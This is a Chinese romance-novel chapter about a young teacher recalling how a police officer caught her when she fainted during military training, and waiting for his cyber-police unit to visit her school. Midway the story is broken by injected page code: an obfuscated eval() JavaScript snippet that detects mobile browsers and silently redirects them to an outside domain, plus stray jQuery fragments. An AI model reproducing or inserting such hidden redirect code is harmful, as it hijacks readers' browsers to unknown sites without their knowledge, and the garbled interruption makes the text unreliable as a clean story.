连降了几场温,南城进入正式进入深秋,温带植被褪去了绿色的外表,以庄重又明亮的黄色系覆盖着。
上下班路上被汽车尾气卷起的落叶让人看了生出许多莫名其妙的惆怅。
陈语宁一开始的好心情也逐渐变得焦躁起来。
前几天给学生的好脸色也尽数收回,同学们纷纷在私底下议论自己老师为什么最近脸那么臭。
“上次说他们要进校宣讲已经过去了一个星期,为什么还没有消息,这件事千万不要黄啊。”
落笔在日记本上写完这句话后她深深地吐了口气,从高一开始她一直都有写日记的习惯,到了大学她也没有摒弃,烙刻在血管中的行为早已将深入骨髓,戒不掉了。
厚厚的四本日记是她大学四年的见证。
她从一侧抽出压在最底下的一本,翻开。
横格线页面上衔着淡淡的陈旧气息,只属于印刷纸的油墨味道。
她摩挲着,翻着密密麻麻的纸页。
时光倒回到三年前的五月份。
/2021年5月13日,32℃。
我以为我是一棵健康到120斤,积极向上的小草,没想到在太阳公公和他的手下也不得不低头。(哭泣)
人生第一次低血糖居然贡献给了军训。
站着板直的某人手机中还放着jj的《心墙》,后来我才知道它播放到1分12秒,我上一秒还跟着默默唱‘偶尔透出一丝暖暖的微光’,下一秒阳光真的照进了我的身体中,视线骤然变黑,微光被黑暗取代。
我,陈语宁,就这么直愣愣地倒在了120个人的队伍中。
差一点,我就毁容了。
要不是某人反应极快,在影子还没有完全倒下的时候,他已经从前排巡视的步伐中向我冲来。
我第一次体会到什么叫手脚冰凉,感觉血液冷冷的倒流,短暂的没了意识。
一只温暖的手掌抓住了军训短袖和手腕的交界处,军训服下是一层粘稠的薄汗,手腕中的血液却泛着冷,比暴烈的气温低一些的是他的体温,覆盖在那里,代替了我一切的知觉。/
看到这里,陈语宁捂着自己的双眼,吐糟着那时自己稚嫩又矫情的文笔。
没眼看,简直没眼看。
后面还有一段,她羞耻地没敢往下看,迅速地合上了本子。
其实不需要本子上的笔迹回忆,有些瞬间,有些时刻,早已印在了脑海中,至死不渝。
伴随着周围同学的尖叫声,周景宸及时拉住了嘴唇毫无血色的她,但是并没有将她揽入怀中,反倒是叫了自己的舍友将自己揽在怀中。
“她早上没吃早饭。”舍友毛慧也有些被吓到了,语气泛着轻微的抖。
“有糖吗?给她一块,给她拿些水来。”男人冷静不紊地蹲下,把了一下她的脉搏,然后将手机塞到裤兜中,抬手掐了几下她的人中。
陈语宁最先恢复的是听觉,下一首歌是jj的《背对背拥抱》,那天她记得很清楚,然后睁眼看见的是周景宸严肃到极致的脸色,眉毛都拧在一起,拧成‘川’字,好看的一双桃花眼中透着焦急和担忧。
那时候陈语宁还没有瘦身成功,她的第一反应是去收自己的双下巴,脑海中只想保留住自己的最后一丝形象。
“还晕吗?”
她摇了摇头,“估计是低血糖,还有些中暑。”陈语宁自己给自己诊断,她的身体自己最清楚。
军训到第八天,那天意外全宿舍都睡过了头,没来得及吃早饭,没想到平日看起来最身强体壮的自己居然先晕了。
“先喝点水,让同学扶你去看校医。”
“哦。”
周景宸的语气算不上多温柔,甚至听起来还有些严厉,和平日里罚她们多站一首歌的军姿或者有‘倔驴’同学犯错的时候他生气的语气一模一样。
陈语宁忽然就有些委屈,不敢直视他的眼睛,脚下发软的感觉渐渐消失,毛慧喂给她一些水,在她的帮助下陈语宁站了起来。
手腕上的那只手掌没有松开,那是两人唯一的连结。
“能走过去吗?”周景宸还是拧着眉,警帽在太阳的照射下投到鼻间一道阴影,显得脸更臭了。
好在语气和缓了些。
陈语宁心想我要是说走不过去,你是打算把我背过去吗?
这个问题的答案在两人在一起后的某个下午得到了回答。
周景宸躺在陈语宁的腿上,闭目养神。
他怎么说的。
他说:“不会,我会让校医过来。”
……
“为什么?”
周景宸不语。
陈语宁明知道答案不会如自己的意,可她偏要追问下去。
“还有当时你的语气为什么不好?听起来晕倒这件事像是我的错。”
眼见着自己的女朋友就要跟自己算账,周景宸马上睁开了眼睛,对上了一双圆圆怒睁的水灵灵的大眼睛。
“难道不是吗?32度高温天气不吃早饭?你不晕谁晕?”
“你凶我?”陈语宁说着就要走。
周景宸哪里会让,立马揽住了她的腰肢,解释道:“逗你呢,我那时候也挺害怕的。”
“你害怕啥?”
“我害怕你不是因为低血糖晕的。”
“切。”陈语宁抠着他短袖下肱二头肌下的软肉。“我还以为你那时候就对我一见钟情了呢。”
“想多了,我都没有认出你来。”
陈语宁瞪着他,直到听到周景宸的一声嚎叫,她才心满意足地去了卫生间。
-
一直到月底的时候,各个班主任才接到了各支队进校宣讲的通知。
初一1班和2班是由网安大队负责,级部主任王老师告诉陈语宁和2班的张莉老师,时间暂定在周五下午第二节课。
“你们俩到时候协助好人家。”
“好的。”
“好。”
“网安大队?听起来像是专门负责这方面的。”张莉在办公室里跟陈语宁聊天。
“应该是吧,到时候他们来了就知道了。”
“顺便给他们说说,压一下那些小朋友的锐气。”
“估计他们一看见穿警服的人心里就没底了。”
两人又纷纷相视而笑。
上课铃响,喧闹的办公室归于安静。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542864|171063||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>陈语宁并不知道周景宸在哪个部门,虽然说之前见过他入户跟群众普及防诈骗知识,但是也不能确定他就是负责这一方面的呀。
他到底会不会来。
陈语宁晚上下班回到家里,打开衣橱,看着她的许多衣服犯了难。
如果他明天来的话,我得穿的得体一点吧。
南城的深秋天温度不高,陈语宁上下班路上都是裹着大衣。给学生上课的时候会把外套换下来,穿上件小马甲。这样写板书什么的比较方便,也不会感觉到冷。
如果明天要穿的好看一点又不那么臃肿,就要把秋裤脱下来一条,但是陈语宁从小体寒怕冷,人家女生都讲究美丽冻人的时候她裹着厚厚的睡衣睡裤。
要不明天穿那条丝绒连衣裙?
不行不行太冷了,好看是好看,如果下巴冻得打着颤跟人家打招呼会更不雅吧。更何况还不一定是他来宣讲啊。
最终理智占据了上风,她选了一件短款的香芋紫短款大衣,下面配了条白色薄绒裤子。
周五中午她也没有睡午觉,给自己画了一个淡妆,涂上了奶茶乌龙色的唇蜜,更显得嘴唇软软的,戴上了许久未戴的隐形眼镜。把乌黑的头发梳成半丸子头,剩下的头发就散在肩头。
下午两点半的时候周景宸和同事们抵达了校园,那时候学生们还没下课。
初一的级部主任和各班的班主任在会议室里迎接他们。
周一行人抵达会议室后先礼貌地与级部主任握了个手。
“周队长是吗?”级部主任刘晨问。
“是,刘老师您好,叫我小周就行。”
“好好,你们先坐下吧。”
在周景宸走进来的时候陈语宁就已经看见了他,心中的阴霾一驱而散,只有万里晴空。
几天不见,感觉头发长了许多。
心里的期待成真,但是此刻紧张的情绪更胜一筹。
今天是正式场合,局里要求穿正装,一身警服穿在他身上显得挺拔,一行人中他的形象最优越,无论是外表还是气质。
“那个周队长好帅啊。”
张老师又在跟她打耳语。
“嗯。”
陈语宁回道,其实心里已经有些激动了。
班主任老师们都站在后面,陈语宁这些资历尚浅的年轻老师更是排在最后。
所以周景宸进门的时候并没有看到她。
“不用坐了,刘老师,咱们初一年级是八个班是吗?”
“是的是的。”
“好,是这样,因为我们人手有限,今天我们一共来了五位同事,从我开始负责1班,剩下的四位同志一人两个班。每一场时间大概在半个小时,您看这样可以吗?”
周景宸把握的声音音量适中,不失分寸又能保证在场的每一个人都能听见。
“当然可以,辛苦你们了。”
他负责我们班?欸?为什么他只负责我们班?
陈语宁像是中了彩票的感觉,心底里溢出了点点的蜜意,嘴角也染上了笑意。
“一班的陈老师呢?”刘晨问。
陈语宁听到主任在喊她,定了定心,稳了一下面部表情。